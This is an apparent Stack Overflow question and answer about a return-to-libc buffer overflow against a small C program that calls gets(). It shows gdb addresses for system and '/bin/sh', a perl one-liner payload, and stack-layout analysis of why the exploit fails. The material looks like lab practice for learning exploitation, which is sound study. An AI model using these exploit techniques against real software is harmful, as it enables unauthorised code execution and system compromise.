Search code examples
clinuxstack-overflowbuffer-overflowexploit

return to libc - problem


I'm having problems with return-to-libc exploit. The problem is that nothing happens, but no segmentation fault (and yes I'm actually overflowing the stack).

This is my program:

int main(int argc, char **argv) {
  char array[512];
  gets(array);
}

I'm using gets instead of strcopy, because my addresses start with 0x00 and strcpy thinks it's the end of a string, so I can't use it.

Here are the addresses that I need:

$ gdb main core
(gdb) p system
$1 = {<text variable, no debug info>} 0x179680 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x16f6e0 <exit>
(gdb)  x/s 0xbffffe3f
0xbffffe3f:      "/bin/sh"

When inputing the right sequence, this happens:

eleanor@eleanor32:~/testing/root$ perl -e 'print "\x41"x516 . "\x80\x96\x17\x00" . "\xe0\xf6\x16\x00" . "\x3f\xfe\xff\xbf"' | ./main
eleanor@eleanor32:~/testing/root$

so nothing.

But if I enter 520 'A's (0x41), then the EIP is overflown with 'A's. If there's 516 'A', nothing happens but EIP contains the system address, following the exit address, following the /bin/sh pointer.

Why nothing happened?


Solution

  • Let's do some asm before:

    Code

    $ cat gets.c
    int main(int argc, char **argv) {
      char array[512];
      gets(array);
    }
    

    Asm

    $ gcc gets.c -o getsA.s -S -fverbose-asm
    $ cat gets.s
        ....
    .globl main
            .type   main, @function
    main:
            leal    4(%esp), %ecx   #,
            andl    $-16, %esp      #,
            pushl   -4(%ecx)        #  (1)
            pushl   %ebp            #  2
            movl    %esp, %ebp      #,
            pushl   %ecx            #  3
            subl    $516, %esp      #,
            leal    -516(%ebp), %eax        #, tmp60
            movl    %eax, (%esp)    # tmp60,
            call    gets            #  << break here  
            addl    $516, %esp      #,  << or here to see the stack picture
            popl    %ecx            #  (3')
            popl    %ebp            #  (2')
            leal    -4(%ecx), %esp  #  (1')
            ret
            .size   main, .-main
    

    The prologue and epilogue (these are with alignment code) is described in detail here Understanding the purpose of some assembly statements

    Stack layout:

    (char)  array[0]
    ...
    (char)  array[511]
    (32bit) $ecx - pushed by 3 - it was the address on the stack of the eip which main will return to
    (32bit) $ebp - pushed by 2
    (32bit) $esp - pushed by 1 - change the $esp to the original value
    

    So, if you want to change a return address of main, you should not to change address in stack which will be used by ret, but also to repeat the values saved in stack by (1),(2),(3) pushes. Or you can embed a new return address in the array itself and overwrite only (3) by the your new stack address+4. (use 516 byte string)

    I suggest you use this source code to hack it:

    $ cat getss.c
    f()
    {
      char array[512];
      gets(array);
    }
    int main(int argc, char **argv) {
        f();
    }
    

    because f have no problems with stack realignement

    .globl f
            .type   f, @function
    f:
            pushl   %ebp    #
            movl    %esp, %ebp      #,
            subl    $520, %esp      #,
            leal    -512(%ebp), %eax        #, tmp59
            movl    %eax, (%esp)    # tmp59,
            call    gets    #
            leave
            ret
            .size   f, .-f
    

    Stack layout for f():

    (char)  array[0]
    ...
    (char)  array[511]
    (32bit) old ebp
    (32bit) return address
    

    Breakpoint at ret instruction in f() with 520 bytes of "A"

    (gdb) x/w $sp
    0xXXXXXa3c:     0x41414141